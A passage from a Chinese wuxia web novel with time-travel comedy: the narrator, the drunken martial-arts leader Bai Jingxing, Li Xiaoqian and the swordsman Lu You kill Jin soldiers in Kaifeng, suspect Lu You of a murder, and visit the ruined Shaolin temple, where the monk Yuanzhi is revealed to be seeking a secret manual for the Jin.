白景行回头向着那个赤身裸体的老者挥手,喊道:“有劳相送!”随后,他喝了一口酒,负手离去。 我追上白景行,问:“你给他吃的是什么药?” 白景行说:“醉生梦死丸。” 我问:“那药有什么用?” 白景行说:“服下醉生梦死丸之后,只要一吃米面,便会如饮酒一般,吃得越多,醉得越快。” 我惊讶道:“这世间还有这么神奇的药?” 白景行点了点头。我又问:“你为何要给他吃这种药?” 白景行说:“他既然来杀我,自然要受到些惩戒。若他完好无损地从我这里走出去,传出江湖,今后来杀我之人岂不更加有恃无恐?!” 这是什么逻辑! 我开始有些反感这个怪异的老头,他思路之清奇,实在让人难以接受。我又问:“那药丸是什么做的?” 白景行笑了笑,说:“老夫的粪 便。” 我以为他在跟我开玩笑,便没好气地说:“不说便不说,何必要耍我!” 白景行十分严肃地说:“老夫并没有开玩笑。醉生梦死丸的确是老夫的粪便所制!” 难道是因为白景行喝酒太多,因此他的粪便里都有酒?这也不对啊!那为何必须要吃米面才会发作? 我想不明白。 李小谦说:“前辈自己是不是吃了米面就会醉?” 白景行说:“虽不会醉,却如饮酒一般。” 我惊讶道:“你吃了自己的屎?!” 白景行大怒,骂道:“小兔崽子,你会吃自己的屎吗?!” 我摇了摇头,说:“不会!” 李小谦说:“前辈患的是一种病!” 白景行点了点头,说:“不错!自我幼年时起,便患有此症,我师父带我遍访名医,皆说无药可医。”突然,白景行盯住李小谦,目光中略带惊奇,问道:“你竟然知道此症?!” 李小谦说:“我哥是当医生的......啊,不!家兄乃是一名郎中,曾经见过此症。此症名曰自走酿酒厂症候群!” 白景行有些激动,问:“此症可否能医?” 李小谦摇了摇头,说:“若在我们那个地方,还能医,只不过在这里,恐怕没有办法!” 白景行一把抓起李小谦的手,看起来十分激动,说:“走!我们现在就去!” 李小谦慌忙说:“去不了,去不了!” 白景行说:“为何去不了?难道还有什么地方,是我白某人去不得的吗?” 我说:“你的确是去不了。九百年后,你去得了吗?” 白景行怔住了,他仿佛没有听懂一般,问:“你,你说什么?” 李小谦在我腰间掐了一把,笑着说:“前辈别听他乱说。我的意思是,我不知道我兄长在什么地方。他云游四方,未留下音信。所以无处寻找,今后若有机会得见,我定叫他为前辈瞧病。” 白景行有些失望,他缓缓叹了口气,说:“罢了,罢了,几十年都过来了,也不急于这一时了。” 我对这种病产生了好奇,问:“怎么会得这种怪病的?” 李小谦说:“这就是寄生真菌在肠道里大量繁殖造成的。” 我没听懂。看白景行的模样,也是一脸茫然。我问:“什么意思?” 李小谦思索了半天,说:“就是肚子里有一种肉眼不可见虫子,虫子生了很多小虫子,这种虫子吃了米面之后,就会吐出酒来。” 不知为何,我觉得特别的恶心。想到白景行一袭如雪的白衣里裹着得竟然是这么腌臜不堪的场景,我便忍不住的感慨,这世间看似纯洁无瑕的表象下,隐藏的却是人肉眼无法窥破的肮脏。 就像巢湖边上的那场武林大会。虽然,表面看起来众人一力拥护,但谁也不知道其中又有怎么样的密谋。 这个江湖便是如此。 不! 更准确的说,这个世间便是如此。人心更是如此! (本章完) 第一卷 最后一个武林盟主 第四十二章 是他 那个杀害圆信的黑衣人到底是谁?他又为何会认得我? 这一夜,我又想起了禅慧寺外树林中的那一幕。 那快得如流星一般的剑法,一剑封喉的狠辣,与江湖客栈里的小月如出一辙。 他们之间到底有着什么样的联系? 我百思不得其解。 一次,我寻了机会问白景行,这江湖中有没有人是以剑为兵器,一剑割破别人的喉咙,却不出血的? 白景行喝了一口酒,说:“这有何难?老夫便可以做到!” 我大惊,莫非那个黑衣人和小月都是青云派的弟子? 白景行又说:“只要你剑使得足够快,便可以一剑封喉,剑刃割破喉管,血液流动的速度赶不上剑刃划过的速度,血自然不会当即流出来,这样粗浅的道理,你不懂得?” 我问:“就是这样?” 白景行说:“就是这样!” 我问:“与剑法无关?” 白景行说:“与剑法当然无关!” 我陷入了沉思,莫非真的是我想得太多了?难道小月与杀害圆信的那个黑衣人真得毫不相关? 不! 他两人绝对存在着某种关联。因为,他们的剑法除了速度惊人地快之外,还有一种难以言说的相似。 我不懂剑法。说不出到底哪里相似。但那种感觉......我的直觉告诉我,他们之间定然有所关联! 然而,那时候,所以的思索都是没有意义的。因为,这世间的太多精巧的相似,都无法用言语来表达。但是,他们背后的关联,却只有等到它浮现出水面的那一刻才真正能够解答。 很快,我便会再次见到那一剑封喉的剑法从另外一个人手中使出来。一个我的确认识的人,却也意想不到的人。 大宋故土沦陷在金人的手中,这片土地上生活的百姓,除却曾经遭受的战火蹂躏,还有承受一种近乎是奴役的统治。 毫无尊严可言。 故都开封府。岁月更迭,王朝兴衰,这一切所带给这个千年古城的沧桑,都抵不过靖康二年那场战火的一次摧残。 破败的开封府,街巷中弥漫着肃穆的气息。街上人烟奚落,偶有几个行人走过,也是步履紧凑,眼神中带着慌乱。 可以看得出,这里的人,没有什么安全感可言。 四个手持弯刀的金兵列队走过,街上的人纷纷远避,有的人甚至抱头蹲在墙角。他们以为这样很安全了,但是,在这样空旷的街巷中,他们的一切,一览无余。 如果那些金兵想要杀人,那些抱头蹲在墙脚的人无异便是待宰的羔羊。 然而,金兵并没有在意街上的行人,他们傲慢地走过空空荡荡的街道,就像走过自家的小院一样。他们一脚踹开街边的一个紧闭的店面,就像踹开自家破旧的柴房,然而倘然地走了进去。 “走,过去看看。”白景行喝了一口酒。 我有些害怕,问:“过去干什么?” 白景行并没有理会我,他快步走向那家店面。我和李小谦疾步跟上,因为,与其在空旷的街巷中胆战心惊的等待,不如跟着一个绝世高手的身后直接去面对未知的风险。这样,或许会更加安全。 这是一家小酒馆。简陋,干净,简陋得干净。 一个破旧的柜台,两张歪歪扭扭的桌子。靠近角落的那张桌子上,还背身坐着一个身穿淡蓝色衣裳的男子。柜台的一侧,整齐地摆着四个半人高的酒坛子。整个店里,再无他物。 当我随着白景行走进去的时候,衣衫破旧的店老板正像捣蒜一样地向四个金兵点头作揖,嘴里还不住地央求着:“军爷,小店都是小本买卖,您把这些酒搬走了,我这一家老小可就不能活了!您行行好吧,行行好吧!” 一个金兵骂道:“他娘的,大将军喜欢喝你的酒是你八辈子修来的福分,你还敢推三阻四,是不是不想活了!” 另一个金兵晃着手中的弯刀,威胁道:“若不是大将军还要喝你家的酒,老子早就砍了你的脑袋,再敢罗里吧嗦,先剁你两根手指头!” 店老板不敢再说话。他的目光绝望,而且愤怒。绝望的光闪烁着,愤怒被恐惧压制着,看起来十分可怜。 “抢劫的说辞也这般冠冕堂皇,断了人家的生路,莫非还要人感激涕零不成?” 说话的人,不是店老板,不是白景行,也不是李小谦,更不是我。而是,那个一直坐着角落里,背着身子,淡然饮酒的蓝衣男子。 几个金兵瞪着眼睛,带着要杀人的目光投向那名蓝衣男子。虽然,他始终没有转过身来,但背影中却透着一股难以言说的英气,正气,还有勇气。 一个金兵提刀走了过去,叫道:“还真有不怕死的!”他一只手伸过去,准备抓蓝衣男子的头发。 突然,蓝衣男子一转身,一道白色的光从他的腰间一闪。 “嗖”的一声。 竟是一把软剑从腰间抽了出来。剑光扫过那个金兵的脖颈,蓝影一晃,穿过金兵的身体,我回过神之时,那名男子已然站在了金兵的身后。 是陆游! 那个从绍兴客栈相识的文弱书生! 此时,他正手持这一把银光闪闪的软剑,傲然而立,凛凛的目光中喷射着愤怒的火焰,还有对金兵无穷的恨意与杀意。 “哐”的一声,他身后的那名金兵歪着身在倒在地上,目光错愕而惊恐,咽喉处一道浅浅的红印,许久才淙淙地流出血来! 这一剑! 又是一剑封喉,又是不见血光的一剑封喉! 是他! 是他杀了圆信! “是你!”我忍不住叫出声来。 陆游看了我一眼,他目光中有重逢的惊喜,却也有不解和疑惑。但随即,他冷冷地目光移向另外三名金兵,杀意凛然。 三个金兵被吓坏了,他们手中的弯刀颤抖着,双腿也在颤抖着,身子也在颤抖着。我仿佛看到了他们内心里颤抖着的恐惧,对死亡的恐惧。因为,他们绝对抵过陆游的那一剑。 他们想跑。因为他们已经转身向门外冲去。 然而,就在他们刚刚挪动身子冲向我们的那一刻。一道白影晃动,像一道白色的霹雳闪过三个金兵的身旁。 紧凑的“咔咔咔”三声之后,三个金兵应声倒在了地上。他们依旧瞪着恐惧的眼睛,但头颅却被拧到了背后! 一瞬间,白景行像摘瓜一样,拧歪了三个人的脑袋。 这并不稀奇,也并不令人惊讶。因为,我见过白景行的身手,这样的事情对他来说,简直易如反掌。 但是,我却很惊讶,甚至是有些惊恐。 我看着陆游身后那个侧身倒地的金兵,他喉咙被利刃割开一道细长的口子,正淙淙地淌着鲜血。 是他!一定是他! 李小谦仿佛看出了我的异常,他问:“你怎么了?” 我想小声地告诉李小谦,但是,我的声音却不受控制地窜出了我喉咙,我叫着:“是他!是他!是他杀了圆信!” “什么?!” 这一声“什么”,来自两个方向,两个人。一个是站在我身旁的李小谦,而另一个是站在我对面的陆游。 “你说什么?!”陆游惊讶,疑惑,而且似乎有些愤怒,“圆信是谁?我一生只杀金贼,何时杀过这样一个人?!” 李小谦没有说话。这样的时候,他没有疑问,也没有调侃,更没有劝阻的呵斥,而是怔怔地看着我,似乎是等待着我的解答。 “姬兄弟!”陆游看起来有些着急了,他把软剑插入腰封之中,说,“圆信到底是何人?你为什么就认定是我杀了此人?” 白景行喝了一口酒,说:“不错。我看这位兄弟大义凛然,你因何会认为他杀了少林派的弟子?” “少林弟子?!”陆游的神情更加疑惑了,他说,“圆信是少林弟子?他与圆通大师有何关系?” 他们这一连串地追问让我更加混乱了。从神情和言语上来看,陆游并不像在说谎,而且,我的确不知道他有什么理由要杀死圆信。 但是,他的剑法,却与那个杀死圆信的黑衣人一模一样。 这难道,仅仅是巧合吗? 我想不通,只要放弃解释,无奈地摇头,说:“我不知道,我只是觉得,你的剑法和杀死圆信的那个人十分相似。” 陆游神情惊讶,问:“是我们陆家的剑法?” “陆家剑法?!”我突然找到了其中的关联,就像在茫然的大海中找了救命的舢板,我急忙追问,“你使得是陆家剑法?那一剑封喉却不出血的剑法,是你们陆家的剑法?而不是因为剑使得太快了,是这样吗?” 陆游点了点头,说:“不错,我陆家的剑法轻快惊奇,这一招横剑破喉乃是我叔父独创,不是什么人都能使出来的。” 如此说来,杀害圆信的人真的是他!我看着李小谦,李小谦的神情之中也有惊讶,但他仍然没有说话。 白景行呵呵地笑着,说:“我正疑惑这正气凛然、英姿绰绰的少年是谁,原来你是陆石兄的侄儿。” 陆游打量了一番白景行,慌忙行礼,问:“不知前辈如何称呼?” 白景行喝了一口酒,说:“老夫姓白!” 陆游眼中光影一闪,又行一礼:“前辈可是酒剑仙白老英雄?” 白景行呵呵一笑,摆了摆手,说:“什么老英雄,都是虚名。你叔父近来可好?” 陆游说:“叔父自罢官之后归隐山野,不问世事。我也许久未见,不过以叔父的性情,相必对往事仍然难以释怀吧。” 白景行叹了一口气,说:“哎......何必呢。能做闲云野鹤,何尝不是人生一乐啊!” 这时,白景行晃了晃手中的酒葫芦,将他抛到那个吓得仍在瑟瑟发抖的店老板手中。店老板接住了酒葫芦,但在手中倒了几下才勉强拿稳。 白景行朗声说道:“给我打满酒来!” 第一卷 最后一个武林盟主 第四十三章 夜谈 旧日之交,江湖重逢,本是世间一大美事。 但是,我心情沉重,完全没有心思享受这上天的美意。 小酒馆里,我们三人收拾了四个金兵的尸首。陆游本想就地畅谈,但李小谦担心这四个金兵久久不能回去复命,恐怕会引来更多金兵。 陆游点头称赞李小谦思虑周全,给店老板一大锭金子,让他携家人快些逃命。而后,我们四人便连夜离开了开封府。 金人统治下的大宋故土,远比我们想象得更加凄惨。深夜的荒野古道旁,随处可见饥肠辘辘的流民,他们绝望地仰望星空,似乎是等待着死亡的早日降临。 陆游说,这些百姓最恨的不是金人的残暴,而是大宋的抛弃。 白景行猛灌了几口酒,长叹一声:“山河破碎,同胞蒙难,纵使我身为武林盟主,却也只能带着这个武林自保求存,这世道当真如此残忍吗?” 夜间,更深露重,白景行竟然有些醉了。他无心再赶路,便索性在路旁寻了一间破旧的茅屋休憩。 茅屋外地,星月当空,夜幕深邃。篝火迸发“噼啪噼啪”的声响,与茅屋里白景行的鼾声交错成一曲怪异的声曲。我再也无法忍受内心里种种疑惑的煎熬,索性去问陆游:“你真的没有杀圆信?” 陆游表情严肃,而且愤怒,说道:“大丈夫敢作敢当,且不说我不会妄杀好人,即便是杀了,我也不会矢口否认。” 他语气笃定,言辞凿凿,让我无可辩驳。 我又问:“为何你武功这么厉害,当时在绍兴客栈却不漏身手?” 陆游答:“我的剑是用来杀金贼的,不到万不得已,绝不对宋人出手。” 我再问:“你可认识一个叫小月的女子?” “小月?”陆游摸着下巴,思索了一番,说:“从未听过。” 我说:“她也会使陆家剑法。” 陆游坚定地说:“这绝无可能!我叔父自创的陆家剑法只传给了我一人。这世间,除了我和我叔父绝对不可能有第三人会使陆家剑法!” 这是一个巨大的谜团。我虽然知道了圆信是死在陆家剑法之下,但是,我仍然不知道是谁杀了圆信,也不知道杀死圆信的黑衣人为何会认得我。 这些疑惑就像是一团交缠在一起的线,我虽然找到了线头,却仍然解不开揉搓在一起的死结。 李小谦从茅屋里走了出来,他倒背着双手,缓步而来,一副气定神闲的模样,仿佛从未将圆信的死放在心上。 那可是他的师叔啊! 李小谦表情突变,像一个顽皮的孩子,从背后拿出一个鎏金的酒葫芦,在手中摇晃着,说:“我把白老头的酒偷出来了,你们要不要尝尝?” 我突然想到了醉生梦死丸,胃里一阵翻腾,连连摆手说:“打死我也不喝!” 陆游看了一眼茅屋,面露难色,说:“恐怕不敬!” 李小谦不知从何处找出了几个破碗,从身后拿了出来,悠哉地坐下,说:“怕什么,白老头自己肚子里有个酿酒作坊,不差这点酒。” 我补充道:“对,他拉的屎能酿酒!” 陆游脸上写满了不可思议,叫道:“什么?!那,那个......也能酿酒?!” 我问:“哪个?” 李小谦推了我一把,说:“什么哪个啊?问那么多干什么?人家陆游兄是文人,高级知识分子,哪能像你一样,张口闭口都是屎尿?” 我说:“你也是文人!” 李小谦说:“我不一样,我是文化流氓!”他倒了一碗酒,递给陆游。陆游迟疑了一下,但还是接了过去。李小谦笑着,说:“陆游兄,没想到你的武功这么厉害!真是让我大开眼界了!” 陆游有些不好意思地说:“李兄过奖了。” 李小谦又倒了一碗酒,伸到我面前。酒水澄澈,倒映着天上的弯弯的月色,更显得明亮。但我不想喝。无论那酒看起来如何诱人,都让我不可避免地想起白景行肚子里的那些会酿酒的虫子,随即鸡皮疙瘩便会肆虐全身。 我摆了摆手,说:“不喝!” 李小谦白了我一眼,说:“不喝拉倒。省给我和陆游兄享用了。” 陆游说:“我们尝一碗已是不敬,还是把这酒给前辈送回去吧。” 李小谦拿碗与陆游手中的碗一碰,说:“先喝了再说。”然后,他仰头喝了一大口,几乎就要见了碗底儿。 陆游或许被他饮酒的豪气所感染,也仰首饮尽。 我看着两个人喝酒,感觉就像看着他们吃下了醉生梦死丸一般,只觉得一阵恶心,无法再去直视。 李小谦又倒满了酒,说:“此情此前,陆游兄不想吟诗一首?” 我问:“为什么要写淫诗?” 陆游一口酒“噗”的一声喷了出来,喷到了火里,火堆里“轰”的一声,火焰蹿高了半尺。陆游慌乱地抿着嘴角的惨酒,说道:“失礼,失礼了!” 李小谦拍了一下我的脑袋,说:“旦丙啊,你还真有我们那个时代人的潜质啊!这无法直视的谐音张口就来,你人才啊!” 我不明白自己哪里说得不对,问:“你不是说要陆游兄淫诗一首吗?” 李小谦啐了一口,说:“呸,出门不要说你是我的学生!” 我什么时候成了李小谦的学生?! 我说:“我本来也不是你的学生。” 陆游调转话题,说:“两位兄弟不是与圆通大师在一起吗?为何会来到汴梁城?” 李小谦说:“圆通大师派我们到少林寺去处理一些事情。” 陆游“哦”一声,说:“可否有什么需要兄弟效劳?” 我突然想到了他仍有杀害圆信的重大嫌疑,不愿让他再搅进少林寺的事务,便抢先说道:“不用!” 李小谦面露不悦,说:“不用什么不用!陆游兄一番好意,你怎么能拒绝得如此武断?!”他转头看着陆游,嘿嘿地笑着,说:“不知道陆游兄要去哪里啊?” 陆游叹了口气,说:“科考在即,我正准备赴往临安府赶考。不知这次,是否能够遂了母亲的心愿啊!” 李小谦问:“你妈也让你考公务员啊?” 公务员?是什么意思? 显然,陆游也没有明白,他不解地问:“何为公务员?” 李小谦尴尬地笑了笑,说:“呃......就是你们这的科举考试。在我们那叫公务员。呵呵......” 陆游长长地“哦”了一声,随即叹息道:“考取功名,乃是家母的期许。” 李小谦问:“你是怎么想的?” 陆游说:“家母之命不敢违背,只是,这朝局......即便为官也毫无意趣。” 李小谦说:“此话怎讲?” 陆游说:“如今朝政被奸臣把控,皇上又懦弱无能,大片国土沦丧,百姓遭受磨难,却不思挥师北上恢复河山,只想着偏安一隅,苟且偷生。这样的朝局......即使为官又能如何?就像这一路走来你所看到的,功名于这些苦难的百姓有何裨益?”他深邃的目光中,满是悲怆与不甘。他仰首饮尽了碗中的酒,那酒水似乎从喉咙流进了眼窝,在眶中蹒跚,映着明亮的月光,闪动着。 突然,陆游“啪”地一声摔了手中的碗,喝道:“倒不如让我横刀立马,驰聘疆场,冲到金贼帐中,杀个痛快!” 他声音洪亮,在天地之间游荡,充满了傲然正气。我仿佛看到了一幅画卷,在这幅画卷中,陆游身披盔甲,手持软剑,他变幻着身形,割裂来犯金兵的喉咙。 一剑封喉,不见血光! “啪”! 一声脆响从屋里传来,接着就是白景行的叫骂声:“谁他娘的扰了老夫的清梦!” 刚刚酝酿了满脸豪情的陆游向受到惊吓的小兔一般慌张地了下来。 “啪”! 又一声脆响,白景行又骂:“哪个兔崽子偷了老夫的酒?!” 第一卷 最后一个武林盟主 第四十四章 少林 少林乃是北派武林之首。 在我心目中,它应该是高大雄伟,巍峨耸立,不能用金碧辉煌,却一定是气势恢宏。 但是,当我们真的站在少林寺山门前时,惊讶淹没了所有的想象和期望。 破损的外墙上不仅凝固着历史的印记,还残留着被火烧过的痕迹。在我们眼前,没有一处院墙是完整的,它们或多或少的都有缺损,也因如此,紧闭的寺门成了最无所谓的摆设。因为,我们可以随便找一个缺口钻进去。 但是,我们并没有这么做。 李小谦说:“我们光明正大地来,就要堂堂正正的走进去!” 陆游在一旁拍手叫好。 然而,当李小谦伸手去推寺门的时候,反锁着的寺门却粉碎了他堂堂正正进入的豪情。 “不是说重建吗?”李小谦骂道,“怎么还他妈的锁门了?” 白景行认为,凡事在于心,而不在于形式。只要心里光明正大,无论怎么进去,都是堂堂正正的。 他纵身一跃,飘然而起,飞入了少林寺。 陆游认为白景行说得也非常有道理,他说:“我们翻墙进去吧。”他指着几步远的地方已经塌了一半的院墙。 李小谦说:“内在于心,外化于形,无论哪个都很重要。”他坚决不肯翻墙进去。 我不解。什么时候李小谦的心性开始有了变化?从前,这些道义对他毫无约束可言。他此时到底又在琢磨些什么? 李小谦说:“旦丙,你翻墙进去,进去之后把门闩打开!” 我问:“为什么又是我?” 李小谦说:“你不是少林派的弟子,你不用守少林派的规矩。我不行!” 我问:“少林派有不许翻墙的规矩?” 李小谦突然特别严肃地说:“少林寺的墙是墙吗?这是一道隔绝佛门与世俗的心垣,是横在我佛门弟子心中的规矩!你懂不懂?!” 我向后退了两步,满眼尽是残垣断壁,我指着不远处的一个窟窿,说:“你的规矩漏了!” 正在我们争论着谁要翻墙的时候,“吱呀”一声响,少林寺紧闭的大门被打开了。 雪白的白景行站在老旧的门框中,就像一副崭新的画裱在了一卷破画轴上,十分不协调。 他慵懒地依着门边,摇晃着鎏金的酒葫芦,说:“别废话了,快些进来!” 关键时候,他武林盟主的英姿荡然无存,只让我感觉这是这个生性放荡的老酒鬼,像极了我那个一点儿都不正经的八矛师父。 走进少林寺,依然没有惊喜,反而是更加失望了。 到处都是等待重生的杂草,几个破旧的水缸里都是污水,两排耸立的经幢上满是缺口,大雄宝殿的牌匾歪歪扭扭地吊在屋檐下,摇摇欲坠。 我望着不可思议的一切,问:“这,这就是少林寺?怎么会是这样?” 李小谦说:“有个手机就好了,拍下来给圆通看看。让他别老惦记这破地方了!” 陆游说:“据我所知,扬州一战之后,少林派的高手被屠戮殆尽,剩下的弟子害怕金人报复也都四散而逃了。几年前,这里又莫名生了一场大火,所以,这千年古刹才毁于一旦的。” 李小谦耸了耸肩,说:“那就是没得玩了,我们走吧!” 陆游愤然道:“你不是少林弟子吗?怎么能看着少林派蒙难至此而无动于衷?!” 李小谦叹了口气,有些语重心长地说:“哎……陆游兄啊!你有所不知啊,少林自又他自己路要走,这也并不是蒙难,而是渡劫。几百年后的少林那是相当辉煌的。正所谓,宝剑锋从磨砺出,梅花香自苦寒来啊!” 陆游眼中突然大放异彩,拍手叫到:“好句子!如此富含深意,对仗工整,一语道破成功之道。”他表情激动,不听地念着那句话,最终向李小谦一抱拳,说:“李兄高才,小弟佩服之至!” “你们两个酸秀才不要在这里罗里吧嗦了!”白景行不耐烦地将他们打断,说,“这院子里还有人呢,快点去找找看!” 有人?! 白景行果然高手,这样大的一个寺院,我们丝毫没有察觉,但他竟然能发现其中的异动,从而判断出有人在。 不过,他究竟是靠什么察觉到的?我有些好奇,便问:“你是怎么知道的?” 白景行揉了揉鼻子说:“老夫闻到了烤肉的香味,便在不远处传来。而且……”他手指了指大雄宝殿一侧的枯草丛,说:“那还有一堆粪便,看上去是刚拉完不久,挺新鲜的!” 这他娘的是什么高手! 我心里忍不住咒骂,巢湖武林大会怎么选了这么一个不着调的武林盟主!我有些担忧这个江湖的前途,这也是我第一次担忧这个江湖。 踩着一路杂草,我们绕过高大但是残破不堪的大雄宝殿。刚进入后院,便闻到一股烤肉的焦香。 一个光头的和尚,穿着一件满是补丁的暗黄色僧袍,手中破扇子紧促地扇着,一堆火随风摇曳,烤着一块快要冒出油花的肉。 和尚不住吞咽着口水,他那一抹光头已不再像圆通一样雪亮,而且已经冒出了一层花白的头发碴子,脸上那一层像橘皮一样的褶子告诉我,这是一个年纪颇大的和尚。 和尚发现了我们,他一怔,随即扔了手中的扇子,站起身来摆开架势,一副如临大敌的模样,喊道:“何人敢闯少林?!” 这破寺庙围墙上到处是窟窿,还用我们闯吗?! 白景行与我想法不谋而合,他开口回应:“你这少林寺还有什么值得老夫一闯的吗?” 和尚显然是不能接受这样的说法,他当即回怼白景行:“少林千年古寺,任你是何人也不能随意出去!” 白景行一脸不屑,毫不在意地喝起了酒。我接过话茬,说:“是圆通让我们来的!” “圆通?!”和尚突然激动起来,他四处寻觅,“圆通呢?圆通何在?!” 我说:“圆通没来,他徒弟来了!”我把一脸不情愿的李小谦向前一推,他怨恨地向我挤了个白眼。 “你是圆通的徒弟?”和尚打量着李小谦,有些疑惑。 李小谦说:“是啊,咋地?”态度十分傲慢。 和尚问:“既然是圆通的弟子,为何不剃度?” 李小谦说:“我们禅慧寺的规矩是,入门不用剃度!” 这完全是胡说八道!我想起那日李小谦痛哭流涕地跪在圆通面前,说自己不能剃度。没想到离开了圆通的视线,他倒把责任推给了圆通! 我决定揭穿李小谦! “荒谬!” 这不是我说的。是那个老和尚,他青筋暴起,大叫:“剃度出家乃是佛门的礼仪,不剃度,还出什么家,还守什么戒!” 他这么说,我便听不下去了!他倒是剃了一个光头,也没有守住清规戒律,不也是在寺庙的后院里烤肉吗? 我指着烤肉,说:“你剃了光头也没守戒啊!” “说得好!”李小谦小声地说,并向我竖了一个大拇指。 “我,我这是!”老和尚有点慌了,他结结巴巴,突然眼中一亮,说,“啊~!我这是在超度,为亡者行火葬之礼。” 我想起了圆通,他也是在给住持的狗火葬之后被逐出少林的。 我说:“圆通不就是因为超度了住持的狗才被逐出少林的吗?!” 那个老和尚沉默了。 所有的人都沉默了。 第一卷 最后一个武林盟主 第四十五章 圆智 不知为何,所有的人都目不转睛的看着我。场面安静得让我有些发慌。 我问:“怎么了?” 李小谦低声说:“你不该提这件事。” 我不解:“为什么不能提?” 陆游有些尴尬地说:“原来,圆通大师也……” 李小谦笑了笑,说:“年轻人,难免会犯错。酒肉穿肠过,佛祖心中留嘛。” 原来如此,这边是圆通被逐出少林多年仍然留着光头的原因! 和尚一声大喝打断我们:“圆通为何不来?” 我说:“圆通说他罪孽深重,无颜再回少林,所以把武功秘籍交给他徒弟,叫他送回少林!” 李小谦在我腰间狠狠掐了一把,嗔道:“你能不能不插嘴!” 插嘴?! 我说:“我没有!” 李小谦瞪着大眼,说:“旦丙,如果有可能,我一定要带你回去,你在我们那绝对是人才!不可多得的人才!” “武功秘籍在哪?”老和尚盯着李小谦,叫道,“快拿出来!” 李小谦说:“你是谁啊?” 老和尚挺着腰板,说:“贫僧法号圆智!” 李小谦问:“你和圆通什么关系?” 圆智说:“我是圆通的师兄。” 李小谦又问:“怎么证明?” 圆智有些恼怒,他瞪着眼睛,挥着拳头冲向李小谦,大叫:“少废话!快把秘籍拿过来!” 就在圆智离我们不足一尺的地方,白景行突然挡在了我们面前,看似漫不经心地推了一掌,竟将圆智整个人打得倒飞出去。 我大惊,白景行的武功果然是高不可测,看上去不用力,却有如此大的威力! 圆智踉跄着倒退了好几步,大怒:“不是圆通叫你来送秘籍吗?如今你到了少林,却又不交出秘籍,到底是何用意?!” 李小谦刚想开口,却听见白景行说:“你真的是少林僧人吗?怎么武功这样差?!一点儿内力修为都没有!” 原来,他那看似漫不经心的一掌,真是就是漫不经心发出来的,之所以圆智被打飞,完全是因为他的武功太差,无法抵挡而已。看来,许多事,还是不能妄加猜测的! 圆智褶皱的脸上一片红紫之色,十分难堪,他说:“我,我本来就不是少林的武僧,不过就是看管菜园的一个普通弟子而已。不过,即便是如此,我如今也是现存的少林弟子中辈分最高,年龄最长的人。本次也是我一人召集散落的弟子,重建少林!你,你们,凭什么不把秘籍交给我!” 他攥着拳头,言辞激动,甚至有些气急败坏的意味,若不是忌惮白景行的武功,只怕他早已经冲上来,将我们打翻在地。 白景行沉吟片刻,说:“小兄弟,把秘籍给他吧。” 李小谦仍有犹豫:“这……” 白景行说:“少林派的功夫最重根基,以他的身手,即便是给了他,在他有生之年也难成大器。日后若有不妥,我便再帮你抢回来,然后废了他的武功。” 圆智的脸色更难看了。 白景行的自负,总是能够这样悄无声息地侮辱到别人。 李小谦将圆通给他的那本秘籍扔给了圆智。圆智接住秘籍,神情异常的激动,仿佛那秘籍就是一块香气四溢的烤肉,而他便是道路旁一个饥肠辘辘的流民。 他的手在抖。剧烈地颤抖着,翻看着圆通亲笔所写的少林派秘籍。 一页,一页,又一页。 他翻书的速度越来越快,目光由激动转为疑惑,失望,愤怒。他翻完了最后一页,竟然将秘籍一把扔在地上,狠狠地踩了两脚。 我们几个人眼睁睁地看着圆智的举动,都十分错愕。只听圆智愤怒地咆哮:“这是什么东西?!这是废物,是垃圾,毫无用处!金刚伏魔功呢?!金刚伏魔功的功法在哪?!” “金刚伏魔功!”我们几个人几乎同时喊出声来。除了白景行。 白景行的表情不再错愕,而且非常平淡,似乎看穿一切,他呵呵一笑,摇了摇头,说:“原来如此,原来如此!你根本就不是要重建少林,你是要金刚伏魔功的秘籍!” 圆智一怔,随后脸上露出狰狞之色,阴冷地说道:“既然被你们看破了!我也不必再隐瞒了!”他闭上眼睛,狠狠呼吸冰凉的空气。 “不错!”圆智突然睁开双眼,眼中异光闪动,大声道:“我是要金刚伏魔功的秘籍!不过,我却也是为了少林寺千年的基业!” 我们都没有说话,都盯着圆智,看着他近乎癫狂地说着。 圆智高呼:“少林啊!绝不能这样毁了!历朝历代,无论是朝廷还是江湖,谁不把少林派敬为佛门圣地,百姓更是将我少林寺奉若神明。” 白景行说:“不错,少林所受到的灾难,的确是让人惋惜。但这又与金刚伏魔功什么关系?” 圆智沉默了很久很久,所有人一动不动地看着这个老和尚,等待着他的答复。空气几乎凝固,风吹过,吹开凝固的空气,圆智才缓缓地说:“完颜兀术答应我,只要我交出少林派的金刚伏魔功,他便可以重建少林!” “你竟然投靠金贼!”陆游大叫一声,一只手已然扶在腰间,仿佛是要拔剑的姿势。 “我投靠金贼?”圆智突然嘿嘿地笑了起来,“我也不想投靠金贼啊!我少林数百名弟子,我的师父,我的师弟,我的师侄……他们……他们全都死在金兵的手中,我也对金人恨之入骨啊!”他说着说着,潸然泪下,仿佛是这一番话勾起了他心底极致的伤痛。 但,突然间,他目光凛凛,仿佛又有盛怒于胸,他用近乎咆哮地声音吼着:“但是我有什么办法?!我想要依靠大宋的朝廷,可是朝廷呢!朝廷在哪里?!我少林数百人皆为保家卫国而死,我少林千年基业遭受如此磨难!朝廷早就跑了,把我们统统抛弃了!” “即便是如此,你身为大宋子民,也断然不可勾结金人!”陆游依旧是怒气难平,显然他不能接受圆智的这套说辞。 看着神情激动的圆智,看着怒火中烧的陆游,看着表情凝重的白景行,看着一副事不关己模样的李小谦,这样的气氛下,我已感到一场杀戮在所难免,很显然,圆智已一只脚踏入了阴曹地府的将死之人。 陆游最恨金人,以他的性情,他绝对不会放过一个与金人勾结,妄图骗取少林秘籍的叛逆。而且,他扶住腰间的手始终没有放下。如果他想要动手,只会在我一眨眼之间,圆智的喉咙将被缠在陆游腰间的软剑割破。 但是,圆智是个可怜人。至少我认为,他就是一个可怜人。他怀揣光复师门的梦想,即便是他一无所有,却也义无反顾,这样的做法,让人肃然起敬。在我看来,他比心怀少林却令立禅慧寺的圆通更加可敬。只可惜,他选错了方法,也走错了道路。 白景行饮尽了葫芦里最后一口酒,说:“重建少林并没有错,但你的确不该为了重建少林去勾结金人,这样虽然少林的庙宇得以重建,但少林的名声却就此毁了。” 圆智大手一挥,喝道:“我顾不得那么多了。我就是不能眼睁睁地看着少林就此没落下去!” 陆游冷冷地说:“既然你执迷不悟,那我也只好杀了你,即便是今后要受骂名,也决不能让金贼奸计得逞!” 此话一出,圆智便慌了神。他连着向后退了几步,颤声说:“你,你们不能杀我,我可是少林唯一的希望!” “铮”的一声。 陆游腰间寒光一闪,他已化作一道蓝影穿过了圆智的身躯,背身站在了圆智的身后。 软剑高高扬起,散发着冷冷的光。 